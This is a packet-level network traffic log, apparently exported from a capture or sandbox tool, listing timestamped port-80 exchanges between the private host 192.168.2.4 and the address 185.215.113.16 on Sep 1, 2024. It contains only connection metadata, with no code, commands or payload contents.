Sep 1, 2024 02:48:05.452291012 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.452315092 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.452323914 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.452327967 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.452328920 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.452338934 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.452362061 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.452380896 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.452392101 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.452409983 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.452420950 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.452426910 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.452431917 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.452442884 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.452451944 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.452452898 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.452460051 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.452464104 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.452496052 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.452496052 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.452512980 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.452528954 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.452539921 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.452550888 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.452550888 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.452563047 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.452583075 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.452583075 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.452591896 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.452616930 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.452667952 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.452677965 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.452687025 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.452713013 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.452733040 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.452850103 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.452858925 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.452871084 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.452883005 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.452892065 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.452899933 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.452902079 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.452912092 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.452917099 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.452922106 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.452934027 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.452939987 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.452953100 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.452975035 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.453007936 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.453020096 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.453028917 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.453039885 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.453048944 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.453054905 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.453058958 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.453078032 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.453100920 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.453690052 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.453699112 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.453710079 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.453731060 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.453758001 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.453859091 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.453869104 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.453877926 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.453886986 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.453896999 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.453906059 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.453907967 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.453917027 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.453927040 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.453928947 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.453937054 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.453938007 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.453947067 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.453955889 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.453964949 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.453965902 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.453975916 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.453986883 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.454004049 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.454020977 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.454149008 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.454189062 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.454339981 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.454349995 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.454359055 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.454369068 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.454377890 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.454385042 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.454386950 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.454396963 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.454406977 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.454407930 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.454416037 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.454425097 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.454427004 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.454436064 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.454442978 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.454447985 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.454461098 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.454464912 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.454473972 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.454474926 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.454499006 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.454521894 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.454675913 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.454685926 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.454695940 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.454720020 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.454746962 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.454755068 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.454765081 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.454790115 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.454798937 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.455319881 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.455364943 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.455399036 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.455409050 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.455441952 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.455461025 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.455471039 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.455506086 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.455648899 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.455660105 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.455688953 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.455704927 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.514194012 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.514206886 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.514216900 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.514256001 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.514286995 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.514357090 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.514367104 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.514410019 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.514518023 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.514529943 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.514539003 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.514564037 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.514581919 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.514580965 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.514595032 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.514604092 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.514610052 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.514616013 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.514621973 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.514632940 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.514632940 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.514657021 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.514662027 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.514671087 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.514671087 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.514682055 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.514695883 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.514714956 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.514847040 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.514863014 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.514873028 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.514885902 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.514889956 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.514897108 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.514910936 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.514914036 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.514925003 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.514935970 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.514947891 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.514961004 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.514967918 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.515000105 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.515079975 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.515089989 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.515100002 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.515110016 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.515119076 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.515126944 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.515151024 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.515166998 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.515228987 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.515238047 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.515249968 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.515269041 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.515273094 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.515285015 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.515295029 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.515295029 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.515305996 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.515316010 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.515341043 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.538748980 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.538768053 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.538775921 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.538799047 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.538821936 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.538836956 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.538846970 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.538856030 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.538877010 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.538878918 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.538887978 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.538902998 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.538930893 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.538938999 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.538942099 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.538950920 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.538976908 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.538992882 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.539089918 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.539099932 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.539109945 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.539119959 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.539129019 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.539140940 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.539155006 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.539171934 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.539267063 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.539314032 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.539397955 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.539407015 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.539416075 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.539427042 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.539434910 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.539442062 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.539448023 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.539458990 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.539458990 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.539484024 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.539494991 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.539498091 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.539509058 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.539519072 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.539527893 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.539535999 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.539539099 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.539545059 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.539563894 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.539583921 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.539583921 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.539619923 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.539647102 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.539658070 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.539670944 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.539680004 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.539685011 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.539696932 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.539720058 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.539768934 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.539778948 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.539789915 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.539804935 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.539810896 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.539814949 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.539829969 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.539854050 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.539855957 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.539891005 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.540024996 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.540034056 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.540043116 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.540059090 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.540069103 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.540070057 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.540083885 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.540088892 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.540095091 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.540107012 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.540111065 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.540121078 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.540127993 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.540133953 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.540141106 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.540144920 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.540154934 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.540164948 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.540189028 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.540224075 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.540241003 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.540251970 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.540266991 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.540288925 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.540348053 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.540359020 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.540390968 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.540518999 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.540529013 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.540539980 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.540549994 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.540560007 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.540566921 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.540569067 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.540576935 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.540579081 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.540591955 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.540599108 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.540611029 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.540621042 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.540626049 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.540637016 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.540643930 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.540646076 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.540658951 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.540683985 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.540740013 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.540750980 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.540760994 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.540780067 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.540805101 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.540829897 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.540839911 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.540851116 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.540859938 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.540877104 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.540882111 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.540895939 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.540923119 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.542011976 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.542022943 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.542032003 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.542056084 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.542078018 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.542081118 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.542090893 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.542102098 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.542112112 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.542115927 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.542121887 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.542124987 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.542143106 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.542171001 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.602663040 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.602673054 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.602682114 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.602686882 CEST	80	49731	185.215.113.16	192.168.2.4
